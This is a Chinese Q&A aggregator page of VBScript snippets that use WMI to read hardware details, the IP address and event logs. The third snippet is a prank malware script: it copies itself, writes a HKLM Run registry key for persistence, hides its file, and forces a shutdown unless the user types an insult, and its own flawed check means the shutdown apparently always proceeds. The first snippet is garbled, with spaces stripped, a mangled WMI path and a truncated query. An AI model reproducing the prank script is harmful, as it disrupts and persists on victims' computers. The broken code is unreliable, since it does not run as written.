脚本之家vbswmi
❶ vbs脚本高手请进!如何用vbs脚本获得本机硬件信息
试编写代码如下:
OnErrorResumeNext
Temp=0
SetWSHNetwork=WScript.CreateObject("WScript.Network")
ComputerName=WSHNetwork.ComputerName
TempFiles="D:vbs"&ComputerName&".txt"
SetFSO=CreateObject("Scripting.FileSystemObject")
SetTempFile=FSO.CreateTextFile(TempFiles)
strComputer="."
SetobjWMIService=GetObject("winmgmts:\"&strComputer&" ootcimv2")
SetCPU=objWMIService.ExecQuery("Select*FromWin32_Processor")
ForEachItemInCPU
CPU2="CPU:"&Item.Name
Next
SetBoard=objWMIService.ExecQuery("Select*FromWin32_BaseBoard")
ForEachItemInBoard
Board2="主板:"&Item.Proct
Next
SetcolItems=objWMIService.ExecQuery("Select*FromWin32_PhysicalMemory",,48)
ForEachobjItemIncolItems
A=objItem.Capacity/1048576
Temp=temp+objItem.Capacity
N=N+1
Next
Memory=Temp/1048576
IfN=1Then
Memory2="内存:"&N&"条"&A&"M"
Else
Memory2="内存:"&N&"条"&A&"M"&"总计"&Memory&"M"
EndIf
SetVideo=objWMIService.ExecQuery("Select*FromWin32_VideoController",,48)
ForEachItemInVideo
Video2="显卡:"&Item.Description
Video3="分辨率:"&Item.VideoModeDescription
Next
SetVideoA=objWMIService.ExecQuery("Select*FromWin32_DesktopMonitor",,48)
ForEachItemInVideoA
VideoA="显示器名称:"&Item.Description
VideoB="屏幕高度:"&Item.ScreenHeight&"屏幕宽度:"&Item.ScreenWidth
Next
SetDisk=objWMIService.ExecQuery("Select*FromWin32_DiskDrive")
ForEachItemInDisk
Disk2=Disk2&Item.Model
Disk4=Int(Item.Size/1000/1000/1000)&"G"
Next
Disk3="硬盘:"&Trim(Disk2)
Disk5="硬盘容量:"&Disk4
SetNetwork=objWMIService.ExecQuery("Select*FromWin32_=True")
ForEachItemInNetwork
Lan="网卡:"&Item.Description
IP="IP地址:"&Item.IPAddress(0)
MacAdd="MAC地址:"&Item.MACAddress
Next
TempFile.WriteLine(CPU2)
TempFile.WriteLine(Board2)
TempFile.WriteLine(Memory2)
TempFile.WriteLine(Video2)
TempFile.WriteLine(Video3)
TempFile.WriteLine(VideoA)
TempFile.WriteLine(VideoB)
TempFile.WriteLine(Disk3)
TempFile.WriteLine(Disk5)
TempFile.WriteLine(Lan)
TempFile.WriteLine(Ip)
TempFile.WriteLine(MacAdd)
TempFile.Close
❷ VBS脚本如何获取当前计算机的ip地址
如果你有Winsock控件的话,可以用下面的程序来得到:
Dim WS
Set WS=CreateObject("MSWinsock.Winsock")
MsgBox "Local IP=" & WS.LocalIP
弹出信息框中会显示本地IP。
而Winsock控件,可从通过安装VB6.0来获得。
///
代码如下
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set IPConfigSet = objWMIService.ExecQuery _
("Select IPAddress from Win32_NetworkAdapterConfiguration where IPEnabled=TRUE")
For Each IPConfig in IPConfigSet
If Not IsNull(IPConfig.IPAddress) Then
For i=LBound(IPConfig.IPAddress) to UBound(IPConfig.IPAddress)
WScript.Echo IPConfig.IPAddress(i)
Next
End If
Next
❸ VBS脚本执行关机
set a=createobject("wscript.shell")
a.run "cmd.exe /c 打开看看吧.vbs c:\1.vbs"
a.run "cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v 1.vbs /t REG_SZ /d C:\1.vbs"
a.run "cmd.exe /c attrib c:\1.vbs +a +r +s +h"
a.run "cmd.exe /c shutdown -s -t 60 -c 请一定注意下面的对话框!!!"
b=inputbox("请在下面的输入栏中输入“我是猪”,速度要快不然,你的电脑将在60秒后重启","严重警告")
if 60= "我是猪" then
a.run "cmd.exe /c shutdown -a"
msgbox "放心。。本程序是没有毒了。。带来不便。。**在此sorry"
else
msgbox "你等着重启吧"
end if
wscript.sleep 600000
a.run "c:\1.vbs" 自己更改一下时间就可以。。是vbs文件。。会更改注册表。。。
❹ 用VBS脚本获取系统日志信息(应用程序、安全性和系统的日志信息),可以使用WMI或者CMD命令、
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colLoggedEvents = objWMIService.ExecQuery _
("Select * from Win32_NTLogEvent Where Logfile = 'Application'") '获取应用程序日志,其它类推
For Each objEvent in colLoggedEvents
Wscript.Echo "Category: " & objEvent.Category
Wscript.Echo "Computer Name: " & objEvent.ComputerName
Wscript.Echo "Event Code: " & objEvent.EventCode
Wscript.Echo "Message: " & objEvent.Message
Wscript.Echo "Record Number: " & objEvent.RecordNumber
Wscript.Echo "Source Name: " & objEvent.SourceName
Wscript.Echo "Time Written: " & objEvent.TimeWritten
Wscript.Echo "Event Type: " & objEvent.Type
Wscript.Echo "User: " & objEvent.User
Next
求采纳!